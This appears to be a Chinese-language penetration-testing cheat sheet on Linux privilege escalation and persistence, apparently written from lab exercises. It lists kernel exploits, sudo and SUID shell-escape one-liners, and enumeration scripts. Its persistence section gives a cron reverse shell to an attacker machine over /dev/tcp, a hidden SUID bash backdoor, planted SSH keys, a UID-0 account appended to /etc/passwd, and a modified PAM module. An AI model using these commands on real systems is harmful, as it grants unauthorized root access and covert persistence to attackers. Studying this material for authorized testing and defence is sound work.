13.Linux权限提升与维持
Linux权限提升与维持
Linux权限提升(Privilege Escalation)
1、内核漏洞提权
Linux内核版本:
CVE内核漏洞:
https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33
2、内核漏洞
Dirty COW (CVE-2016-5195)
Dirty Pipe (CVE-2022-0847)
Dirty Cred (CVE-2022-2588)
Linux Polkit (CVE-2021-4034)
Linux查看发行版本和内核版本:
命令:uname -a (查看centos内核版本)
用kali中的msfconsole版本漏洞查询
例子:searchsploit ubuntu 16.04
用find / -name "xxx"找文件
例子:find / -name "40871.c"
2、SUDO提权
SUDO=Super User Do(以root身份运行程序)
配置文件:/etc/sudoers
编辑方法(root):visudo
用户或用户组 提权到什么级别
wuya ALL = (root) NOPASSWD:/bin/chown,/usr/sbin/useradd
在哪些主机上 是否需要输入密码
创建一个组:groupadd security
在security组中创建一个用户:useradd -g security yyy
给yyy用户设置密码:passwd yyy
用户文件:/etc/passwd
密码文件:/etc/shadow
给yyy用户授权:visudo里面去添加yyy ALL=ALL ALL
yyy用户需要用sudo加命令才能执行
提权命令:
查看当前用户有哪些sudo权限:sudo -l
SUDO使用:
(1)sudo passwd root
(2)sudo service ssh restart
相关命令:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
(1)sudo find /home -exec /bin/bash ;注意bash后面有一个空格
(2)sudo awk 'BEGIN{system("/bin/bash")}'
3、SUID提权
SUID=Set UID
(以程序所有者身份运行程序)
例如:普通用户怎么修改/etc/shadow中的密码?
因为/usr/bin/passwd文件有s权限。而拥有s权限的文件任何用户都可以以文件所有者身份运行程序。
给文件加s权限的代码:chmod u+s /usr/bin/find
find 1.txt -exec whoami ;
sudo find . -exec /bin/sh ;
常见的SUID提权文件:
nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、weget
搜索有s权限的程序(不同平台):
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
3、第三方服务提权
Redis、NFS、MySQL、Docker、Git....
4、提权辅助脚本
Linux-exploit-suggester
https://github.com/mzet-/linux-exploit-suggester
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
https://github.com/jondonas/linux-exploit-suggester-2
chmod +x linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
LinEnum
https://github.com/rebootuser/LinEnum
chmod +x /tmp/linEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt
Linux权限维持
1、在电脑上保留webshell以便以后连接
2、定时任务
crontab -e 打开定时任务文件bash
crontab -u root -r 删除
crontab -u root -l 查看
crontab -u root -e 修改
测试
kali中监听7777端口:nc -lvvp 7777
CentOS写入任务:
* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&1
3、SUID后门
root用户:
cp /bin/bash /var/.hack
chmod 4775 /var/.hack
ls -al /var/.hack
普通用户:
/var/.hack -p
4、SSH Key免密登录
生成和查看(kali攻击机):
ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub
写入(CentOS服务机):
vim /root/.ssh/authorized_keys
kali连接CentOS:
ssh root@192.168.142.201
5、添加用户
生成密码:
openssl passwd -1 -salt admin 123456
-1的意思是使用md5crypt加密算法
-salt 指定盐为admin
追加(UID=0):
echo 'admin:xxx:0:0::/root:/bin/bash' >> /etc/passwd
kali连接:
ssh root@192.168.142.201
6、PAM后门(先做快照)
下载编译
rpm -qa|grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
yum install gcc flex flex-devel -y
cd Linux-PAM-1.1.8
vim modules/pam_unix/pam_unix_auth.c
./configure
make
备份替换
cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp
cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
登录测试
ssh root@192.168.142.202
7、其他后门
红队实战攻防技术分享:Linux后门总结